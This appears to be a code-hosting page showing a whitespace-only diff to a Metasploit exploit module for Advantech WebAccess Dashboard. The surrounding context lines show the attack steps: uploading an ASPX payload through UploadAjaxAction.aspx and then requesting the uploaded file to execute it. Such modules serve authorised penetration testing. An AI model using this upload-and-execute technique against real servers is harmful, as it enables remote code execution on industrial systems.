Update advantech_webaccess_dashboard_file_upload.rb
parent
ab9e988dd4
commit
ae23da39b8
|
@ -90,6 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
|
||||
data.add_part(aspx, nil, nil, "form-data; name=\"file\"; filename=\"#{file_name}\"")
|
||||
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('WADashboard','ajax','UploadAjaxAction.aspx'),
|
||||
|
@ -104,7 +105,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fail_with(Failure::UnexpectedReply, "#{peer} - Payload uploaded failed")
|
||||
end
|
||||
print_status("#{peer} - Executing payload...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('WADashboard',file_name),
|
||||
|
|
Loading…
Reference in New Issue